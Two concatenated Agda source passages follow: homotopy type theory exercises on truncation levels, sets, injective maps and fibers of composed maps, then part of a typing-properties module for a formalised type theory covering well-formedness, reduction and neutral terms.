abstract
is-trunc-succ-empty : (k : 𝕋) → is-trunc (succ-𝕋 k) empty
is-trunc-succ-empty k = ind-empty
abstract
is-trunc-coprod : {l1 l2 : Level} (k : 𝕋) {A : UU l1} {B : UU l2} →
is-trunc (succ-𝕋 (succ-𝕋 k)) A → is-trunc (succ-𝕋 (succ-𝕋 k)) B →
is-trunc (succ-𝕋 (succ-𝕋 k)) (coprod A B)
is-trunc-coprod k {A} {B} is-trunc-A is-trunc-B (inl x) (inl y) =
is-trunc-is-equiv (succ-𝕋 k)
( Eq-coprod A B (inl x) (inl y))
( Eq-coprod-eq A B (inl x) (inl y))
( is-equiv-Eq-coprod-eq A B (inl x) (inl y))
( is-trunc-is-equiv' (succ-𝕋 k)
( Id x y)
( map-raise _ (Id x y))
( is-equiv-map-raise _ (Id x y))
( is-trunc-A x y))
is-trunc-coprod k {A} {B} is-trunc-A is-trunc-B (inl x) (inr y) =
is-trunc-is-equiv (succ-𝕋 k)
( Eq-coprod A B (inl x) (inr y))
( Eq-coprod-eq A B (inl x) (inr y))
( is-equiv-Eq-coprod-eq A B (inl x) (inr y))
( is-trunc-is-equiv' (succ-𝕋 k)
( empty)
( map-raise _ empty)
( is-equiv-map-raise _ empty)
( is-trunc-succ-empty k))
is-trunc-coprod k {A} {B} is-trunc-A is-trunc-B (inr x) (inl y) =
is-trunc-is-equiv (succ-𝕋 k)
( Eq-coprod A B (inr x) (inl y))
( Eq-coprod-eq A B (inr x) (inl y))
( is-equiv-Eq-coprod-eq A B (inr x) (inl y))
( is-trunc-is-equiv' (succ-𝕋 k)
( empty)
( map-raise _ empty)
( is-equiv-map-raise _ empty)
( is-trunc-succ-empty k))
is-trunc-coprod k {A} {B} is-trunc-A is-trunc-B (inr x) (inr y) =
is-trunc-is-equiv (succ-𝕋 k)
( Eq-coprod A B (inr x) (inr y))
( Eq-coprod-eq A B (inr x) (inr y))
( is-equiv-Eq-coprod-eq A B (inr x) (inr y))
( is-trunc-is-equiv' (succ-𝕋 k)
( Id x y)
( map-raise _ (Id x y))
( is-equiv-map-raise _ (Id x y))
( is-trunc-B x y))
abstract
is-set-coprod : {l1 l2 : Level} {A : UU l1} {B : UU l2} →
is-set A → is-set B → is-set (coprod A B)
is-set-coprod = is-trunc-coprod neg-two-𝕋
set-coprod :
{l1 l2 : Level} (A : UU-Set l1) (B : UU-Set l2) → UU-Set (l1 ⊔ l2)
set-coprod (pair A is-set-A) (pair B is-set-B) =
pair (coprod A B) (is-set-coprod is-set-A is-set-B)
abstract
is-set-unit : is-set unit
is-set-unit = is-trunc-succ-is-trunc neg-one-𝕋 unit is-prop-unit
set-unit : UU-Set lzero
set-unit = pair unit is-set-unit
abstract
is-set-ℤ : is-set ℤ
is-set-ℤ = is-set-coprod is-set-ℕ (is-set-coprod is-set-unit is-set-ℕ)
set-ℤ : UU-Set lzero
set-ℤ = pair ℤ is-set-ℤ
is-set-empty : is-set empty
is-set-empty ()
abstract
is-set-Fin :
(n : ℕ) → is-set (Fin n)
is-set-Fin zero-ℕ = is-set-empty
is-set-Fin (succ-ℕ n) =
is-set-coprod (is-set-Fin n) is-set-unit
set-Fin :
(n : ℕ) → UU-Set lzero
set-Fin n = pair (Fin n) (is-set-Fin n)
-- Exercise 8.7
abstract
is-trunc-retract-of : {l1 l2 : Level} (k : 𝕋) {A : UU l1} {B : UU l2} →
A retract-of B → is-trunc k B → is-trunc k A
is-trunc-retract-of neg-two-𝕋 (pair i (pair r H)) is-trunc-B =
is-contr-retract-of _ (pair i (pair r H)) is-trunc-B
is-trunc-retract-of (succ-𝕋 k) (pair i retr-i) is-trunc-B x y =
is-trunc-retract-of k
( pair (ap i) (retr-ap i retr-i x y))
( is-trunc-B (i x) (i y))
-- Exercise 8.8
is-injective : {l1 l2 : Level} {A : UU l1} (is-set-A : is-set A) {B : UU l2}
(is-set-B : is-set B) (f : A → B) → UU (l1 ⊔ l2)
is-injective {A = A} is-set-A is-set-B f = (x y : A) → Id (f x) (f y) → Id x y
is-injective-const-true : is-injective is-set-unit is-set-bool
(const unit bool true)
is-injective-const-true x y p = center (is-prop-unit x y)
is-injective-const-false : is-injective is-set-unit is-set-bool
(const unit bool false)
is-injective-const-false x y p = center (is-prop-unit x y)
abstract
is-equiv-is-prop : {l1 l2 : Level} {A : UU l1} {B : UU l2} → is-prop A →
is-prop B → {f : A → B} → (B → A) → is-equiv f
is-equiv-is-prop is-prop-A is-prop-B {f} g =
is-equiv-has-inverse
( g)
( λ y → center (is-prop-B (f (g y)) y))
( λ x → center (is-prop-A (g (f x)) x))
equiv-prop :
{ l1 l2 : Level} {A : UU l1} {B : UU l2} → is-prop A → is-prop B →
( A → B) → (B → A) → A ≃ B
equiv-prop is-prop-A is-prop-B f g =
pair f (is-equiv-is-prop is-prop-A is-prop-B g)
equiv-total-subtype :
{ l1 l2 l3 : Level} {A : UU l1} {P : A → UU l2} {Q : A → UU l3} →
( is-subtype-P : is-subtype P) (is-subtype-Q : is-subtype Q) →
( f : (x : A) → P x → Q x) →
( g : (x : A) → Q x → P x) →
( Σ A P) ≃ (Σ A Q)
equiv-total-subtype is-subtype-P is-subtype-Q f g =
pair
( tot f)
( is-equiv-tot-is-fiberwise-equiv {f = f}
( λ x → is-equiv-is-prop (is-subtype-P x) (is-subtype-Q x) (g x)))
abstract
is-emb-is-injective : {l1 l2 : Level} {A : UU l1} (is-set-A : is-set A)
{B : UU l2} (is-set-B : is-set B) (f : A → B) →
is-injective is-set-A is-set-B f → is-emb f
is-emb-is-injective is-set-A is-set-B f is-injective-f x y =
is-equiv-is-prop
( is-set-A x y)
( is-set-B (f x) (f y))
( is-injective-f x y)
abstract
is-injective-is-emb : {l1 l2 : Level} {A : UU l1} {is-set-A : is-set A}
{B : UU l2} {is-set-B : is-set B} {f : A → B} →
is-emb f → is-injective is-set-A is-set-B f
is-injective-is-emb is-emb-f x y = inv-is-equiv (is-emb-f x y)
-- Exercise 8.9
abstract
is-trunc-const-is-trunc : {l : Level} (k : 𝕋) {A : UU l} →
is-trunc (succ-𝕋 k) A → (x : A) → is-trunc-map k (const unit A x)
is-trunc-const-is-trunc k is-trunc-A x y =
is-trunc-is-equiv' k
( Id x y)
( left-unit-law-Σ-map (λ t → Id x y) is-contr-unit)
( is-equiv-left-unit-law-Σ-map (λ t → Id x y) is-contr-unit)
( is-trunc-A x y)
abstract
is-trunc-is-trunc-const : {l : Level} (k : 𝕋) {A : UU l} →
((x : A) → is-trunc-map k (const unit A x)) → is-trunc (succ-𝕋 k) A
is-trunc-is-trunc-const k is-trunc-const x y =
is-trunc-is-equiv k
( Σ unit (λ t → Id x y))
( left-unit-law-Σ-map (λ t → Id x y) is-contr-unit)
( is-equiv-left-unit-law-Σ-map (λ t → Id x y) is-contr-unit)
( is-trunc-const x y)
-- Exercise 8.10
map-fib-comp : {l1 l2 l3 : Level} {A : UU l1} {B : UU l2}
{X : UU l3} (g : B → X) (h : A → B) →
(x : X) → fib (g ∘ h) x → Σ (fib g x) (λ t → fib h (pr1 t))
map-fib-comp g h x (pair a p) =
pair
( pair (h a) p)
( pair a refl)
inv-map-fib-comp : {l1 l2 l3 : Level} {A : UU l1} {B : UU l2}
{X : UU l3} (g : B → X) (h : A → B) →
(x : X) → Σ (fib g x) (λ t → fib h (pr1 t)) → fib (g ∘ h) x
inv-map-fib-comp g h c t =
pair (pr1 (pr2 t)) ((ap g (pr2 (pr2 t))) ∙ (pr2 (pr1 t)))
issec-inv-map-fib-comp : {l1 l2 l3 : Level} {A : UU l1} {B : UU l2}
{X : UU l3} (g : B → X) (h : A → B) →
(x : X) →
((map-fib-comp g h x) ∘ (inv-map-fib-comp g h x)) ~ id
issec-inv-map-fib-comp g h x
(pair (pair .(h a) refl) (pair a refl)) = refl
isretr-inv-map-fib-comp : {l1 l2 l3 : Level} {A : UU l1} {B : UU l2}
{X : UU l3} (g : B → X) (h : A → B) (x : X) →
((inv-map-fib-comp g h x) ∘ (map-fib-comp g h x)) ~ id
isretr-inv-map-fib-comp g h .(g (h a)) (pair a refl) = refl
abstract
is-equiv-map-fib-comp : {l1 l2 l3 : Level} {A : UU l1} {B : UU l2}
{X : UU l3} (g : B → X) (h : A → B) (x : X) →
is-equiv (map-fib-comp g h x)
is-equiv-map-fib-comp g h x =
is-equiv-has-inverse
( inv-map-fib-comp g h x)
( issec-inv-map-fib-comp g h x)
( isretr-inv-map-fib-comp g h x)
abstract
is-equiv-inv-map-fib-comp : {l1 l2 l3 : Level} {A : UU l1} {B : UU l2}
{X : UU l3} (g : B → X) (h : A → B) (x : X) →
is-equiv (inv-map-fib-comp g h x)
is-equiv-inv-map-fib-comp g h x =
is-equiv-has-inverse
( map-fib-comp g h x)
( isretr-inv-map-fib-comp g h x)
( issec-inv-map-fib-comp g h x)
abstract
is-trunc-map-htpy : {l1 l2 : Level} (k : 𝕋) {A : UU l1} {B : UU l2}
(f g : A → B) → f ~ g → is-trunc-map k g → is-trunc-map k f
is-trunc-map-htpy k {A} f g H is-trunc-g b =
is-trunc-is-equiv k
( Σ A (λ z → Id (g z) b))
( fib-triangle f g id H b)
( is-fiberwise-equiv-is-equiv-triangle f g id H (is-equiv-id _) b)
( is-trunc-g b)
abstract
is-trunc-map-comp : {l1 l2 l3 : Level} (k : 𝕋) {A : UU l1} {B : UU l2}
{X : UU l3} (f : A → X) (g : B → X) (h : A → B) (H : f ~ (g ∘ h)) →
is-trunc-map k g → is-trunc-map k h → is-trunc-map k f
is-trunc-map-comp k f g h H is-trunc-g is-trunc-h =
is-trunc-map-htpy k f (g ∘ h) H
( λ x → is-trunc-is-equiv k
( Σ (fib g x) (λ t → fib h (pr1 t)))
( map-fib-comp g h x)
( is-equiv-map-fib-comp g h x)
( is-trunc-Σ k
( is-trunc-g x)
( λ t → is-trunc-h (pr1 t))))
abstract
is-trunc-map-right-factor : {l1 l2 l3 : Level} (k : 𝕋) {A : UU l1} {B : UU l2}
{X : UU l3} (f : A → X) (g : B → X) (h : A → B) (H : f ~ (g ∘ h)) →
is-trunc-map k g → is-trunc-map k f → is-trunc-map k h
is-trunc-map-right-factor k {A} f g h H is-trunc-g is-trunc-f b =
is-trunc-fam-is-trunc-Σ k
( is-trunc-g (g b))
( is-trunc-is-equiv' k
( Σ A (λ z → Id (g (h z)) (g b)))
( map-fib-comp g h (g b))
( is-equiv-map-fib-comp g h (g b))
( is-trunc-map-htpy k (g ∘ h) f (htpy-inv H) is-trunc-f (g b)))
( pair b refl)
abstract
is-trunc-map-succ-is-trunc-map :
{l1 l2 : Level} (k : 𝕋) {A : UU l1} {B : UU l2}
(f : A → B) → is-trunc-map k f → is-trunc-map (succ-𝕋 k) f
is-trunc-map-succ-is-trunc-map k f is-trunc-f b =
is-trunc-succ-is-trunc k (fib f b) (is-trunc-f b)
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Definition/Typed/Properties.agda | CoqHott/logrel-mltt | 2 | 11902 | {-# OPTIONS --safe #-}
module Definition.Typed.Properties where
open import Definition.Untyped
open import Definition.Untyped.Properties
open import Definition.Typed
open import Definition.Typed.RedSteps
import Definition.Typed.Weakening as Twk
open import Tools.Empty using (⊥; ⊥-elim)
open import Tools.Product
open import Tools.Sum hiding (id ; sym)
import Tools.PropositionalEquality as PE
import Data.Fin as Fin
import Data.Nat as Nat
-- Escape context extraction
wfTerm : ∀ {Γ A t r} → Γ ⊢ t ∷ A ^ r → ⊢ Γ
wfTerm (univ <l ⊢Γ) = ⊢Γ
wfTerm (ℕⱼ ⊢Γ) = ⊢Γ
wfTerm (Emptyⱼ ⊢Γ) = ⊢Γ
wfTerm (Πⱼ <l ▹ <l' ▹ F ▹ G) = wfTerm F
wfTerm (∃ⱼ F ▹ G) = wfTerm F
wfTerm (var ⊢Γ x₁) = ⊢Γ
wfTerm (lamⱼ _ _ F t) with wfTerm t
wfTerm (lamⱼ _ _ F t) | ⊢Γ ∙ F′ = ⊢Γ
wfTerm (g ∘ⱼ a) = wfTerm a
wfTerm (⦅ F , G , t , u ⦆ⱼ) = wfTerm t
wfTerm (fstⱼ A B t) = wfTerm t
wfTerm (sndⱼ A B t) = wfTerm t
wfTerm (zeroⱼ ⊢Γ) = ⊢Γ
wfTerm (sucⱼ n) = wfTerm n
wfTerm (natrecⱼ F z s n) = wfTerm z
wfTerm (Emptyrecⱼ A e) = wfTerm e
wfTerm (Idⱼ A t u) = wfTerm t
wfTerm (Idreflⱼ t) = wfTerm t
wfTerm (transpⱼ A P t s u e) = wfTerm t
wfTerm (castⱼ A B e t) = wfTerm t
wfTerm (castreflⱼ A t) = wfTerm t
wfTerm (conv t A≡B) = wfTerm t
wf : ∀ {Γ A r} → Γ ⊢ A ^ r → ⊢ Γ
wf (Uⱼ ⊢Γ) = ⊢Γ
wf (univ A) = wfTerm A
mutual
wfEqTerm : ∀ {Γ A t u r} → Γ ⊢ t ≡ u ∷ A ^ r → ⊢ Γ
wfEqTerm (refl t) = wfTerm t
wfEqTerm (sym t≡u) = wfEqTerm t≡u
wfEqTerm (trans t≡u u≡r) = wfEqTerm t≡u
wfEqTerm (conv t≡u A≡B) = wfEqTerm t≡u
wfEqTerm (Π-cong _ _ F F≡H G≡E) = wfEqTerm F≡H
wfEqTerm (∃-cong F F≡H G≡E) = wfEqTerm F≡H
wfEqTerm (app-cong f≡g a≡b) = wfEqTerm f≡g
wfEqTerm (β-red _ _ F t a) = wfTerm a
wfEqTerm (η-eq _ _ F f g f0≡g0) = wfTerm f
wfEqTerm (suc-cong n) = wfEqTerm n
wfEqTerm (natrec-cong F≡F′ z≡z′ s≡s′ n≡n′) = wfEqTerm z≡z′
wfEqTerm (natrec-zero F z s) = wfTerm z
wfEqTerm (natrec-suc n F z s) = wfTerm n
wfEqTerm (Emptyrec-cong A≡A' _ _) = wfEq A≡A'
wfEqTerm (proof-irrelevance t u) = wfTerm t
wfEqTerm (Id-cong A t u) = wfEqTerm u
wfEqTerm (Id-Π _ _ A B t u) = wfTerm t
wfEqTerm (Id-ℕ-00 ⊢Γ) = ⊢Γ
wfEqTerm (Id-ℕ-SS m n) = wfTerm n
wfEqTerm (Id-U-ΠΠ A B A' B') = wfTerm A
wfEqTerm (Id-U-ℕℕ ⊢Γ) = ⊢Γ
wfEqTerm (Id-SProp A B) = wfTerm A
wfEqTerm (Id-ℕ-0S n) = wfTerm n
wfEqTerm (Id-ℕ-S0 n) = wfTerm n
wfEqTerm (Id-U-ℕΠ A B) = wfTerm A
wfEqTerm (Id-U-Πℕ A B) = wfTerm A
wfEqTerm (Id-U-ΠΠ!% eq A B A' B') = wfTerm A
wfEqTerm (cast-cong A B t _ _) = wfEqTerm t
wfEqTerm (cast-Π A B A' B' e f) = wfTerm f
wfEqTerm (cast-ℕ-0 e) = wfTerm e
wfEqTerm (cast-ℕ-S e n) = wfTerm n
wfEq : ∀ {Γ A B r} → Γ ⊢ A ≡ B ^ r → ⊢ Γ
wfEq (univ A≡B) = wfEqTerm A≡B
wfEq (refl A) = wf A
wfEq (sym A≡B) = wfEq A≡B
wfEq (trans A≡B B≡C) = wfEq A≡B
-- Reduction is a subset of conversion
subsetTerm : ∀ {Γ A t u l} → Γ ⊢ t ⇒ u ∷ A ^ l → Γ ⊢ t ≡ u ∷ A ^ [ ! , l ]
subset : ∀ {Γ A B r} → Γ ⊢ A ⇒ B ^ r → Γ ⊢ A ≡ B ^ r
subsetTerm (natrec-subst F z s n⇒n′) =
natrec-cong (refl F) (refl z) (refl s) (subsetTerm n⇒n′)
subsetTerm (natrec-zero F z s) = natrec-zero F z s
subsetTerm (natrec-suc n F z s) = natrec-suc n F z s
subsetTerm (app-subst {rA = !} t⇒u a) = app-cong (subsetTerm t⇒u) (refl a)
subsetTerm (app-subst {rA = %} t⇒u a) = app-cong (subsetTerm t⇒u) (proof-irrelevance a a)
subsetTerm (β-red l< l<' A t a) = β-red l< l<' A t a
subsetTerm (conv t⇒u A≡B) = conv (subsetTerm t⇒u) A≡B
subsetTerm (Id-subst A t u) = Id-cong (subsetTerm A) (refl t) (refl u)
subsetTerm (Id-ℕ-subst m n) = Id-cong (refl (ℕⱼ (wfTerm n))) (subsetTerm m) (refl n)
subsetTerm (Id-ℕ-0-subst n) = let ⊢Γ = wfEqTerm (subsetTerm n) in Id-cong (refl (ℕⱼ ⊢Γ)) (refl (zeroⱼ ⊢Γ)) (subsetTerm n)
subsetTerm (Id-ℕ-S-subst m n) = Id-cong (refl (ℕⱼ (wfTerm m))) (refl (sucⱼ m)) (subsetTerm n)
subsetTerm (Id-U-subst A B) = Id-cong (refl (univ 0<1 (wfTerm B))) (subsetTerm A) (refl B)
subsetTerm (Id-U-ℕ-subst B) = let ⊢Γ = wfEqTerm (subsetTerm B) in Id-cong (refl (univ 0<1 ⊢Γ)) (refl (ℕⱼ ⊢Γ)) (subsetTerm B)
subsetTerm (Id-U-Π-subst A P B) = Id-cong (refl (univ 0<1 (wfTerm A))) (refl (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ P)) (subsetTerm B)
subsetTerm (Id-Π <l <l' A B t u) = Id-Π <l <l' A B t u
subsetTerm (Id-ℕ-00 ⊢Γ) = Id-ℕ-00 ⊢Γ
subsetTerm (Id-ℕ-SS m n) = Id-ℕ-SS m n
subsetTerm (Id-U-ΠΠ A B A' B') = Id-U-ΠΠ A B A' B'
subsetTerm (Id-U-ℕℕ ⊢Γ) = Id-U-ℕℕ ⊢Γ
subsetTerm (Id-SProp A B) = Id-SProp A B
subsetTerm (Id-ℕ-0S n) = Id-ℕ-0S n
subsetTerm (Id-ℕ-S0 n) = Id-ℕ-S0 n
subsetTerm (Id-U-ℕΠ A B) = Id-U-ℕΠ A B
subsetTerm (Id-U-Πℕ A B) = Id-U-Πℕ A B
subsetTerm (Id-U-ΠΠ!% eq A B A' B') = Id-U-ΠΠ!% eq A B A' B'
subsetTerm (cast-subst A B e t) = let ⊢Γ = wfEqTerm (subsetTerm A)
in cast-cong (subsetTerm A) (refl B) (refl t) e (conv e (univ (Id-cong (refl (univ 0<1 ⊢Γ)) (subsetTerm A) (refl B))))
subsetTerm (cast-ℕ-subst B e t) = let ⊢Γ = wfEqTerm (subsetTerm B)
in cast-cong (refl (ℕⱼ (wfTerm t))) (subsetTerm B) (refl t) e (conv e (univ (Id-cong (refl (univ 0<1 ⊢Γ)) (refl (ℕⱼ ⊢Γ)) (subsetTerm B))))
subsetTerm (cast-Π-subst A P B e t) = let ⊢Γ = wfTerm A
in cast-cong (refl (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ P)) (subsetTerm B) (refl t) e
(conv e (univ (Id-cong (refl (univ 0<1 ⊢Γ)) (refl (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ A ▹ P)) (subsetTerm B) )))
subsetTerm (cast-Π A B A' B' e f) = cast-Π A B A' B' e f
subsetTerm (cast-ℕ-0 e) = cast-ℕ-0 e
subsetTerm (cast-ℕ-S e n) = cast-ℕ-S e n
subsetTerm (cast-ℕ-cong e n) = let ⊢Γ = wfTerm e
⊢ℕ = ℕⱼ ⊢Γ
in cast-cong (refl ⊢ℕ) (refl ⊢ℕ) (subsetTerm n) e e
subset (univ A⇒B) = univ (subsetTerm A⇒B)
subset*Term : ∀ {Γ A t u l } → Γ ⊢ t ⇒* u ∷ A ^ l → Γ ⊢ t ≡ u ∷ A ^ [ ! , l ]
subset*Term (id t) = refl t
subset*Term (t⇒t′ ⇨ t⇒*u) = trans (subsetTerm t⇒t′) (subset*Term t⇒*u)
subset* : ∀ {Γ A B r} → Γ ⊢ A ⇒* B ^ r → Γ ⊢ A ≡ B ^ r
subset* (id A) = refl A
subset* (A⇒A′ ⇨ A′⇒*B) = trans (subset A⇒A′) (subset* A′⇒*B)
-- Transitivity of reduction
transTerm⇒* : ∀ {Γ A t u v l } → Γ ⊢ t ⇒* u ∷ A ^ l → Γ ⊢ u ⇒* v ∷ A ^ l → Γ ⊢ t ⇒* v ∷ A ^ l
transTerm⇒* (id x) y = y
transTerm⇒* (x ⇨ x₁) y = x ⇨ transTerm⇒* x₁ y
trans⇒* : ∀ {Γ A B C r} → Γ ⊢ A ⇒* B ^ r → Γ ⊢ B ⇒* C ^ r → Γ ⊢ A ⇒* C ^ r
trans⇒* (id x) y = y
trans⇒* (x ⇨ x₁) y = x ⇨ trans⇒* x₁ y
transTerm:⇒:* : ∀ {Γ A t u v l } → Γ ⊢ t :⇒*: u ∷ A ^ l → Γ ⊢ u :⇒*: v ∷ A ^ l → Γ ⊢ t :⇒*: v ∷ A ^ l
transTerm:⇒:* [[ ⊢t , ⊢u , d ]] [[ ⊢t₁ , ⊢u₁ , d₁ ]] = [[ ⊢t , ⊢u₁ , (transTerm⇒* d d₁) ]]
conv⇒* : ∀ {Γ A B l t u} → Γ ⊢ t ⇒* u ∷ A ^ l → Γ ⊢ A ≡ B ^ [ ! , l ] → Γ ⊢ t ⇒* u ∷ B ^ l
conv⇒* (id x) e = id (conv x e)
conv⇒* (x ⇨ D) e = conv x e ⇨ conv⇒* D e
conv:⇒*: : ∀ {Γ A B l t u} → Γ ⊢ t :⇒*: u ∷ A ^ l → Γ ⊢ A ≡ B ^ [ ! , l ] → Γ ⊢ t :⇒*: u ∷ B ^ l
conv:⇒*: [[ ⊢t , ⊢u , d ]] e = [[ (conv ⊢t e) , (conv ⊢u e) , (conv⇒* d e) ]]
-- Can extract left-part of a reduction
redFirstTerm : ∀ {Γ t u A l } → Γ ⊢ t ⇒ u ∷ A ^ l → Γ ⊢ t ∷ A ^ [ ! , l ]
redFirst : ∀ {Γ A B r} → Γ ⊢ A ⇒ B ^ r → Γ ⊢ A ^ r
redFirstTerm (conv t⇒u A≡B) = conv (redFirstTerm t⇒u) A≡B
redFirstTerm (app-subst t⇒u a) = (redFirstTerm t⇒u) ∘ⱼ a
redFirstTerm (β-red {lA = lA} {lB = lB} lA< lB< ⊢A ⊢t ⊢a) = (lamⱼ lA< lB< ⊢A ⊢t) ∘ⱼ ⊢a
redFirstTerm (natrec-subst F z s n⇒n′) = natrecⱼ F z s (redFirstTerm n⇒n′)
redFirstTerm (natrec-zero F z s) = natrecⱼ F z s (zeroⱼ (wfTerm z))
redFirstTerm (natrec-suc n F z s) = natrecⱼ F z s (sucⱼ n)
redFirstTerm (Id-subst A t u) = Idⱼ (redFirstTerm A) t u
redFirstTerm (Id-ℕ-subst m n) = Idⱼ (ℕⱼ (wfTerm n)) (redFirstTerm m) n
redFirstTerm (Id-ℕ-0-subst n) = Idⱼ (ℕⱼ (wfEqTerm (subsetTerm n))) (zeroⱼ (wfEqTerm (subsetTerm n))) (redFirstTerm n)
redFirstTerm (Id-ℕ-S-subst m n) = Idⱼ (ℕⱼ (wfTerm m)) (sucⱼ m) (redFirstTerm n)
redFirstTerm (Id-U-subst A B) = Idⱼ (univ 0<1 (wfTerm B)) (redFirstTerm A) B
redFirstTerm (Id-U-ℕ-subst B) = let ⊢Γ = (wfEqTerm (subsetTerm B)) in Idⱼ (univ 0<1 ⊢Γ) (ℕⱼ ⊢Γ) (redFirstTerm B)
redFirstTerm (Id-U-Π-subst A P B) = Idⱼ (univ 0<1 (wfTerm A)) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ P) (redFirstTerm B)
redFirstTerm (Id-Π {rA = rA} <l <l' A B t u) = Idⱼ (Πⱼ <l ▹ <l' ▹ A ▹ B) t u
redFirstTerm (Id-ℕ-00 ⊢Γ) = Idⱼ (ℕⱼ ⊢Γ) (zeroⱼ ⊢Γ) (zeroⱼ ⊢Γ)
redFirstTerm (Id-ℕ-SS m n) = Idⱼ (ℕⱼ (wfTerm m)) (sucⱼ m) (sucⱼ n)
redFirstTerm (Id-U-ΠΠ A B A' B') = Idⱼ (univ 0<1 (wfTerm A)) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ B) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A' ▹ B')
redFirstTerm (Id-U-ℕℕ ⊢Γ) = Idⱼ (univ 0<1 ⊢Γ) (ℕⱼ ⊢Γ) (ℕⱼ ⊢Γ)
redFirstTerm (Id-SProp A B) = Idⱼ (univ 0<1 (wfTerm A)) A B
redFirstTerm (Id-ℕ-0S n) = Idⱼ (ℕⱼ (wfTerm n)) (zeroⱼ (wfTerm n)) (sucⱼ n)
redFirstTerm (Id-ℕ-S0 n) = Idⱼ (ℕⱼ (wfTerm n)) (sucⱼ n) (zeroⱼ (wfTerm n))
redFirstTerm (Id-U-ℕΠ A B) = Idⱼ (univ 0<1 (wfTerm A)) (ℕⱼ (wfTerm A)) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ B)
redFirstTerm (Id-U-Πℕ A B) = Idⱼ (univ 0<1 (wfTerm A)) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ B) (ℕⱼ (wfTerm A))
redFirstTerm (Id-U-ΠΠ!% eq A B A' B') = Idⱼ (univ 0<1 (wfTerm A)) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ B) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A' ▹ B')
redFirstTerm (cast-subst A B e t) = castⱼ (redFirstTerm A) B e t
redFirstTerm (cast-ℕ-subst B e t) = castⱼ (ℕⱼ (wfTerm t)) (redFirstTerm B) e t
redFirstTerm (cast-Π-subst A P B e t) = castⱼ (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ P) (redFirstTerm B) e t
redFirstTerm (cast-Π A B A' B' e f) = castⱼ (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A ▹ B) (Πⱼ (≡is≤ PE.refl) ▹ (≡is≤ PE.refl) ▹ A' ▹ B') e f
redFirstTerm (cast-ℕ-0 e) = castⱼ (ℕⱼ (wfTerm e)) (ℕⱼ (wfTerm e)) e (zeroⱼ (wfTerm e))
redFirstTerm (cast-ℕ-S e n) = castⱼ (ℕⱼ (wfTerm e)) (ℕⱼ (wfTerm e)) e (sucⱼ n)
redFirstTerm (cast-ℕ-cong e n) = castⱼ (ℕⱼ (wfTerm e)) (ℕⱼ (wfTerm e)) e (redFirstTerm n)
redFirst (univ A⇒B) = univ (redFirstTerm A⇒B)
redFirst*Term : ∀ {Γ t u A l} → Γ ⊢ t ⇒* u ∷ A ^ l → Γ ⊢ t ∷ A ^ [ ! , l ]
redFirst*Term (id t) = t
redFirst*Term (t⇒t′ ⇨ t′⇒*u) = redFirstTerm t⇒t′
redFirst* : ∀ {Γ A B r} → Γ ⊢ A ⇒* B ^ r → Γ ⊢ A ^ r
redFirst* (id A) = A
redFirst* (A⇒A′ ⇨ A′⇒*B) = redFirst A⇒A′
-- Neutral types are always small
-- tyNe : ∀ {Γ t r} → Γ ⊢ t ^ r → Neutral t → Γ ⊢ t ∷ (Univ r) ^ !
-- tyNe (univ x) tn = x
-- tyNe (Idⱼ A x y) tn = Idⱼ A x y
-- Neutrals do not weak head reduce
neRedTerm : ∀ {Γ t u l A} (d : Γ ⊢ t ⇒ u ∷ A ^ l) (n : Neutral t) → ⊥
neRed : ∀ {Γ t u r} (d : Γ ⊢ t ⇒ u ^ r) (n : Neutral t) → ⊥
whnfRedTerm : ∀ {Γ t u A l} (d : Γ ⊢ t ⇒ u ∷ A ^ l) (w : Whnf t) → ⊥
whnfRed : ∀ {Γ A B r} (d : Γ ⊢ A ⇒ B ^ r) (w : Whnf A) → ⊥
neRedTerm (conv d x) n = neRedTerm d n
neRedTerm (app-subst d x) (∘ₙ n) = neRedTerm d n
neRedTerm (β-red _ _ x x₁ x₂) (∘ₙ ())
neRedTerm (natrec-zero x x₁ x₂) (natrecₙ ())
neRedTerm (natrec-suc x x₁ x₂ x₃) (natrecₙ ())
neRedTerm (natrec-subst x x₁ x₂ tr) (natrecₙ tn) = neRedTerm tr tn
neRedTerm (Id-subst tr x y) (Idₙ tn) = neRedTerm tr tn
neRedTerm (Id-ℕ-subst tr x) (Idℕₙ tn) = neRedTerm tr tn
neRedTerm (Id-ℕ-0-subst tr) (Idℕ0ₙ tn) = neRedTerm tr tn
neRedTerm (Id-ℕ-S-subst x tr) (IdℕSₙ tn) = neRedTerm tr tn
neRedTerm (Id-U-subst tr x) (IdUₙ tn) = neRedTerm tr tn
neRedTerm (Id-U-ℕ-subst tr) (IdUℕₙ tn) = neRedTerm tr tn
neRedTerm (Id-U-Π-subst A B tr) (IdUΠₙ tn) = neRedTerm tr tn
neRedTerm (Id-subst tr x y) (Idℕₙ tn) = whnfRedTerm tr ℕₙ
neRedTerm (Id-subst tr x y) (Idℕ0ₙ tn) = whnfRedTerm tr ℕₙ
neRedTerm (Id-subst tr x y) (IdℕSₙ tn) = whnfRedTerm tr ℕₙ
neRedTerm (Id-subst tr x y) (IdUₙ tn) = whnfRedTerm tr Uₙ
neRedTerm (Id-subst tr x y) (IdUℕₙ tn) = whnfRedTerm tr Uₙ
neRedTerm (Id-subst tr x y) (IdUΠₙ tn) = whnfRedTerm tr Uₙ
neRedTerm (Id-ℕ-subst tr x) (Idℕ0ₙ tn) = whnfRedTerm tr zeroₙ
neRedTerm (Id-ℕ-subst tr x) (IdℕSₙ tn) = whnfRedTerm tr sucₙ
neRedTerm (Id-U-subst tr x) (IdUℕₙ tn) = whnfRedTerm tr ℕₙ
neRedTerm (Id-U-subst tr x) (IdUΠₙ tn) = whnfRedTerm tr Πₙ
neRedTerm (Id-Π _ _ A B t u) (Idₙ ())
neRedTerm (Id-ℕ-00 tr) (Idₙ ())
neRedTerm (Id-ℕ-00 tr) (Idℕₙ ())
